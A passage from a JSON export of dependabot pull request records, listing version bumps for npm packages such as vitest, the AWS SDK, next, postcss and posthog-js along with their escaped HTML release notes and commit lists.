href=\"https://redirect.github.com/vitest-dev/vitest/issues/10276\"\u003evitest-dev/vitest#10276\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9f7b1528c\"\u003e\u003c!-- raw HTML omitted --\u003e(9f7b1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.5...v4.1.6\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/db616d227b6e0cb07a94f5d1bba262ee95db7e46\"\u003e\u003ccode\u003edb616d2\u003c/code\u003e\u003c/a\u003e chore: release v4.1.10 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10718\"\u003e#10718\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b5112a6fd8200101b88bf8af9685d077295\"\u003e\u003ccode\u003ebae52b5\u003c/code\u003e\u003c/a\u003e fix(vm): fix external module resolve error with deps optimizer query for enco...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a7a61e78c7d0718f00173cff6800a91a344457d4\"\u003e\u003ccode\u003ea7a61e7\u003c/code\u003e\u003c/a\u003e chore: release v4.1.9 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10598\"\u003e#10598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587cb61d8338d83f525295322692a2db40\"\u003e\u003ccode\u003e934b0f5\u003c/code\u003e\u003c/a\u003e fix(pool): prevent test run hang on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10543\"\u003e#10543\u003c/a\u003e) [backport to v4] (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651afbae2a9b0cefe6c031a9308f168ac60\"\u003e\u003ccode\u003e7fb2965\u003c/code\u003e\u003c/a\u003e fix(browser): wait for orchestrator readiness before resolving browser sessio...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c1be7089e3705e3dd9e84fea118d09d3\"\u003e\u003ccode\u003ea518019\u003c/code\u003e\u003c/a\u003e fix: fix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e61f2dd2a0ba0a266c1c5e0334aad3799fee527f\"\u003e\u003ccode\u003ee61f2dd\u003c/code\u003e\u003c/a\u003e chore: release v4.1.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e4067b3b150005fd42cf75f994300119245806b9\"\u003e\u003ccode\u003ee4067b3\u003c/code\u003e\u003c/a\u003e fix(browser): disable client \u003ccode\u003ecdp\u003c/code\u003e API when \u003ccode\u003eallowWrite/allowExec: false\u003c/code\u003e [ba...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a09d47236e19fd3151351080c667036ca6164dc4\"\u003e\u003ccode\u003ea09d472\u003c/code\u003e\u003c/a\u003e chore: release v4.1.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8fd24c1cad2320b19fcc651413c7d928423bdc1\"\u003e\u003ccode\u003ea8fd24c\u003c/code\u003e\u003c/a\u003e chore: release v4.1.6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.10/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@aws-sdk/client-bedrock` from 3.1029.0 to 3.1086.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/releases\"\u003e@​aws-sdk/client-bedrock's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.1086.0\u003c/h2\u003e\n\u003ch4\u003e3.1086.0(2026-07-13)\u003c/h4\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclients:\u003c/strong\u003e  update client endpoints as of 2026-07-13 (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/22a3bc515d256663596f02b273aaf38b6bf91830\"\u003e22a3bc51\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-guardduty:\u003c/strong\u003e  GuardDuty AI Protection is now publicly available. Findings include Bedrock guardrail details, model details, observation numbers, and continuous scan details. GuardrailArn and GuardrailVersion are deprecated in favor of the guardrails list. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7456befb0b4c391b0038961f290afa9b8a1cc609\"\u003e7456befb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-gamelift:\u003c/strong\u003e  Amazon GameLift Servers now includes fleet expiration for managed fleets. A managed fleet expires one year after creation, transitioning to EXPIRED status, emitting a FLEET EXPIRED event, and scaling to zero instances. Expired fleets cannot host new game sessions or increase capacity. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ca1487cad489ca2e88496be68c6357faf74bf492\"\u003eca1487ca\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-redshift-serverless:\u003c/strong\u003e  Add support for preserving datasharing, zero-ETL and S3 event integrations on snapshot restore to serverless namespace. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/0ed5e330fc88ba16a49ac673962622e8373f85b4\"\u003e0ed5e330\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-elasticsearch-service:\u003c/strong\u003e  Adds support for the EngineMode and UseCase parameters on Amazon Elasticsearch Service domains, enabling GENERAL or OPTIMIZED engine modes and SEARCH, VECTOR, OBSERVABILITY, or MIXED usecases when creating and updating domain configurations. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/f8248f273eafd3d38a85b00a910e8361b88f4234\"\u003ef8248f27\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-lambda:\u003c/strong\u003e  Add Java 8, 11 and 17 on AL2023 (java8.al2023, java11.al2023, java17.al2023) support to AWS Lambda. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/b9cd8db4e16718877328cdde9a8478ffecaee714\"\u003eb9cd8db4\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003eBug Fixes\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecredential-providers:\u003c/strong\u003e  memoization in fromNodeProviderChain (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8185\"\u003e#8185\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/1f878badeb9c7c9484b6ce9dea3af36edd72ff13\"\u003e1f878bad\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eFor list of updated packages, view \u003cstrong\u003eupdated-packages.md\u003c/strong\u003e in \u003cstrong\u003eassets-3.1086.0.zip\u003c/strong\u003e\u003c/p\u003e\n\u003ch2\u003ev3.1085.0\u003c/h2\u003e\n\u003ch4\u003e3.1085.0(2026-07-10)\u003c/h4\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclients:\u003c/strong\u003e  update client endpoints as of 2026-07-10 (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/dffbeab020cb30acaf3e126b70df855fbd644b38\"\u003edffbeab0\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-quicksight:\u003c/strong\u003e  Provides CreateKnowledgeBase and UpdateKnowledgeBase APIs (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/42de55235e68fccff5f36ba5dddd4f6026b9c4f4\"\u003e42de5523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-inspector2:\u003c/strong\u003e  Support for 3 day and 7 day ECR re-scan durations (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4b0b5c86d1c0c228751d3ad42287c96599982eab\"\u003e4b0b5c86\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-lambda:\u003c/strong\u003e  Added TelemetryConfig support for Managed Instances Capacity Provider, enabling customers to configure system log level and custom log group for managed instance logging. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/6338813981e21da09c2afff2774453bfeed8b0de\"\u003e63388139\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-sagemaker:\u003c/strong\u003e  Release support for g4d, c6g, c7g, c8g instance types for SageMaker HyperPod (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/800976de4cc075bdd3f835982236e646e2871566\"\u003e800976de\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ec2:\u003c/strong\u003e  New Amazon EC2 instances. M9g, M9gd, C9g, and C9gd on AWS Graviton5. C8in, M8in, and R8in add 600 Gbps network. C8ib, M8ib, and R8ib add 300 Gbps EBS. C8ine, M8ine, M8idn, R8idn, M8idb, and R8idb round out Intel Xeon 6. Mac-m3ultra with Apple M3 Ultra. G7 with NVIDIA RTX PRO 4500 Blackwell GPUs. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/35aaf38707d66fa250c40fbef879fb9254a38cab\"\u003e35aaf387\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-license-manager:\u003c/strong\u003e  Added the ResetUsage field to the CreateLicenseVersion API. When set to true, the entitlement usage counts for the license are reset to 0. If it is false or not specified, entitlement usage is left unchanged. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/52f1c9c03192532f8d7fd99fbd9a3a1a567df6ad\"\u003e52f1c9c0\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-cloudwatch:\u003c/strong\u003e  CloudWatch now assigns a unique identifier to each anomaly detector. PutAnomalyDetector and DescribeAnomalyDetectors return this AnomalyDetectorId, which you can use to describe or delete a specific anomaly detector directly. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/36fc0ee52f520bcd30676ec8954140309719677f\"\u003e36fc0ee5\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eFor list of updated packages, view \u003cstrong\u003eupdated-packages.md\u003c/strong\u003e in \u003cstrong\u003eassets-3.1085.0.zip\u003c/strong\u003e\u003c/p\u003e\n\u003ch2\u003ev3.1084.0\u003c/h2\u003e\n\u003ch4\u003e3.1084.0(2026-07-09)\u003c/h4\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient-connect:\u003c/strong\u003e  Amazon Connect - Added DeleteContactData API to support PII deletion of customer endpoint, additional email recipients and email subject. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/87f4ae0edee3b09fccf660a9ec06f3819c0de033\"\u003e87f4ae0e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-guardduty:\u003c/strong\u003e  Adding \u0026quot;AI Analyst\u0026quot; enum value for detector (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/20518a4ffa622068a3452405a2d56565a5076ed3\"\u003e20518a4f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-synthetics:\u003c/strong\u003e  CloudWatch Synthetics adds support for customer managed KMS keys for canary environment variables. Customers can now encrypt their canary's Lambda function environment variables at rest using their own AWS KMS key, providing additional control over data protection. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/c7379151145d04c34200a72783f0439873519b6d\"\u003ec7379151\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ec2:\u003c/strong\u003e  Added support for additional override parameters in CreateFleet, including LaunchTemplateSpecificationUserData, KeyName, IamInstanceProfile, and MetadataOptions. The CreateFleet response now also includes SubnetId, AvailabilityZone, and AvailabilityZoneId for launched instances. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/6fcc95d184daf8db8b4ab131932b86d011628deb\"\u003e6fcc95d1\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ivs:\u003c/strong\u003e  adds support for AWS IVS ad configuration APIs to allow for a postRollConfiguration object on the ad configuration resource (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7dd93c48dbdb50fe7039cbb94071c73249bc6419\"\u003e7dd93c48\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/blob/main/clients/client-bedrock/CHANGELOG.md\"\u003e@​aws-sdk/client-bedrock's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1085.0...v3.1086.0\"\u003e3.1086.0\u003c/a\u003e (2026-07-13)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-bedrock\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1084.0...v3.1085.0\"\u003e3.1085.0\u003c/a\u003e (2026-07-10)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-bedrock\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.108...\n\n_Description has been truncated_","html_url":"https://github.com/Sivakrishnapemmasani/accomplish/pull/11","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sivakrishnapemmasani%2Faccomplish/issues/11","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/11/packages"}},{"old_version":"8.5.17","new_version":"8.5.19","update_type":"patch","path":null,"pr_created_at":"2026-07-14T14:25:08.000Z","version_change":"8.5.17 → 8.5.19","issue":{"uuid":"4884031678","node_id":"PR_kwDOCkcSrM7xl5_n","number":1287,"state":"open","title":"chore(deps): bump the dependencies group across 1 directory with 8 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-14T14:25:08.000Z","updated_at":"2026-07-14T14:29:36.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"dependencies","update_count":8,"packages":[{"name":"next","old_version":"16.2.9","new_version":"16.2.10","repository_url":"https://github.com/vercel/next.js"},{"name":"postcss","old_version":"8.5.17","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"posthog-js","old_version":"1.399.2","new_version":"1.399.5","repository_url":"https://github.com/PostHog/posthog-js"},{"name":"react-email","old_version":"6.7.0","new_version":"6.8.1","repository_url":"https://github.com/resend/react-email"},{"name":"@typescript-eslint/eslint-plugin","old_version":"8.63.0","new_version":"8.64.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"@typescript-eslint/parser","old_version":"8.63.0","new_version":"8.64.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"tsx","old_version":"4.23.0","new_version":"4.23.1","repository_url":"https://github.com/privatenumber/tsx"},{"name":"typescript-eslint","old_version":"8.63.0","new_version":"8.64.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"}],"path":null,"ecosystem":"npm"},"body":"[//]: # (dependabot-start)\n⚠️  **Dependabot is rebasing this PR** ⚠️ \n\nRebasing might not happen immediately, so don't worry if this takes some time.\n\nNote: if you make any changes to this PR yourself, they will take precedence over the rebase.\n\n---\n\n[//]: # (dependabot-end)\n\nBumps the dependencies group with 8 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [next](https://github.com/vercel/next.js) | `16.2.9` | `16.2.10` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.17` | `8.5.19` |\n| [posthog-js](https://github.com/PostHog/posthog-js) | `1.399.2` | `1.399.5` |\n| [react-email](https://github.com/resend/react-email/tree/HEAD/packages/react-email) | `6.7.0` | `6.8.1` |\n| [@typescript-eslint/eslint-plugin](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin) | `8.63.0` | `8.64.0` |\n| [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser) | `8.63.0` | `8.64.0` |\n| [tsx](https://github.com/privatenumber/tsx) | `4.23.0` | `4.23.1` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.63.0` | `8.64.0` |\n\n\nUpdates `next` from 16.2.9 to 16.2.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/next.js/releases\"\u003enext's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev16.2.10\u003c/h2\u003e\n\u003cp\u003eContains no changes except publishing \u003ccode\u003e@next/swc-wasm-web\u003c/code\u003e which was accidentally not published since 16.2.4.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/9dadfd693c5d26bb3c85d1c17802f49dde244b3e\"\u003e\u003ccode\u003e9dadfd6\u003c/code\u003e\u003c/a\u003e v16.2.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/534d9c144ca342ff9ee5569241a814539d6eadb9\"\u003e\u003ccode\u003e534d9c1\u003c/code\u003e\u003c/a\u003e [16.2.x] Release pipeline updates (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/95160\"\u003e#95160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/98941fc427213b0b2770ac40e24a1855ea0ae349\"\u003e\u003ccode\u003e98941fc\u003c/code\u003e\u003c/a\u003e backport: docs fixes 16.2.x (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/94935\"\u003e#94935\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/6e1a94de7c4e68892de4b1e28262be5970358458\"\u003e\u003ccode\u003e6e1a94d\u003c/code\u003e\u003c/a\u003e [16.2.x][ci]: fix release script to not strip newlines (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/94640\"\u003e#94640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vercel/next.js/compare/v16.2.9...v16.2.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.17 to 8.5.19\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9543b22769bef5bcd47600fbca752204c106cda8\"\u003e\u003ccode\u003e9543b22\u003c/code\u003e\u003c/a\u003e Release 8.5.19 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3d13bf9360652922de0535f6257e1648187363f0\"\u003e\u003ccode\u003e3d13bf9\u003c/code\u003e\u003c/a\u003e Fix CI on Windows too\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/00d0dd2322162f6083d507ea6954685e1c92f165\"\u003e\u003ccode\u003e00d0dd2\u003c/code\u003e\u003c/a\u003e Keep explicitly set raws.before when inserting nodes into root (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2111\"\u003e#2111\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a05b33e7a15d6f80d90098784170ad3dca39180\"\u003e\u003ccode\u003e7a05b33\u003c/code\u003e\u003c/a\u003e Temporary fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.17...8.5.19\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `posthog-js` from 1.399.2 to 1.399.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PostHog/posthog-js/releases\"\u003eposthog-js's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eposthog-js@1.399.5\u003c/h2\u003e\n\u003ch2\u003e1.399.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/PostHog/posthog-js/pull/4134\"\u003e#4134\u003c/a\u003e \u003ca href=\"https://github.com/PostHog/posthog-js/commit/ab100642da425590b9dcb78a9e8573eeeb29f52a\"\u003e\u003ccode\u003eab10064\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/posthog\"\u003e\u003ccode\u003e@​posthog\u003c/code\u003e\u003c/a\u003e! - Bound autocapture's DOM ancestor walks against abnormal host-page DOM trees. \u003ccode\u003eautocapturePropertiesForElement\u003c/code\u003e and \u003ccode\u003eshouldCaptureElement\u003c/code\u003e now stop climbing the \u003ccode\u003eparentNode\u003c/code\u003e chain after 1000 ancestors or if they revisit a node (only possible when a page patches \u003ccode\u003eparentNode\u003c/code\u003e, since native DOMs cannot contain cycles), instead of walking indefinitely. When \u003ccode\u003eshouldCaptureElement\u003c/code\u003e cannot finish checking ancestors for \u003ccode\u003eph-no-capture\u003c/code\u003e/\u003ccode\u003eph-sensitive\u003c/code\u003e, it fails closed and reports the element as not capturable. Behavior on normal DOM trees is unchanged.\n(2026-07-14)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/PostHog/posthog-js/pull/4141\"\u003e#4141\u003c/a\u003e \u003ca href=\"https://github.com/PostHog/posthog-js/commit/17d956c6639e83396aa19a5974d7550b46928c68\"\u003e\u003ccode\u003e17d956c\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/posthog\"\u003e\u003ccode\u003e@​posthog\u003c/code\u003e\u003c/a\u003e! - Log network-level fetch failures from posthog-js's own request layer (ad blocker, dropped connection, CORS, page teardown) at \u003ccode\u003ewarn\u003c/code\u003e instead of \u003ccode\u003eerror\u003c/code\u003e. The browser rejects these with a generic \u003ccode\u003eTypeError\u003c/code\u003e (\u003ccode\u003eFailed to fetch\u003c/code\u003e, Firefox's \u003ccode\u003eNetworkError...\u003c/code\u003e, or Safari's \u003ccode\u003eLoad failed\u003c/code\u003e); they are already caught and retried by the request queue, so they are expected noise rather than SDK errors — \u003ccode\u003e_fetch\u003c/code\u003e now gives them the same \u003ccode\u003ewarn\u003c/code\u003e treatment as our own timeout aborts. Genuine, unexpected errors still log at \u003ccode\u003eerror\u003c/code\u003e.\n(2026-07-14)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eposthog-js@1.399.4\u003c/h2\u003e\n\u003ch2\u003e1.399.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/PostHog/posthog-js/pull/4139\"\u003e#4139\u003c/a\u003e \u003ca href=\"https://github.com/PostHog/posthog-js/commit/7c339bed0655c3e00b1860ba2da9f41c4f9013e1\"\u003e\u003ccode\u003e7c339be\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/turnipdabeets\"\u003e\u003ccode\u003e@​turnipdabeets\u003c/code\u003e\u003c/a\u003e! - Encode uncompressed \u003ccode\u003esendBeacon\u003c/code\u003e bodies as base64 form data so the beacon keeps a CORS-simple content type. Previously an uncompressed unload beacon was sent as \u003ccode\u003eapplication/json\u003c/code\u003e, which forces a CORS preflight — a preflight cannot complete while the page unloads, so on cross-origin hosts the browser silently dropped the POST and the final batch of events was lost. Compression is inactive whenever the remote config request fails (flaky network, blocked endpoint), when the config response omits \u003ccode\u003esupportedCompression\u003c/code\u003e, or with \u003ccode\u003edisable_compression: true\u003c/code\u003e.\n(2026-07-13)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eposthog-js@1.399.3\u003c/h2\u003e\n\u003ch2\u003e1.399.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/PostHog/posthog-js/pull/4133\"\u003e#4133\u003c/a\u003e \u003ca href=\"https://github.com/PostHog/posthog-js/commit/4ebb61837adaed8960abbe3f8e0e28781e6bf905\"\u003e\u003ccode\u003e4ebb618\u003c/code\u003e\u003c/a\u003e Thanks \u003ca 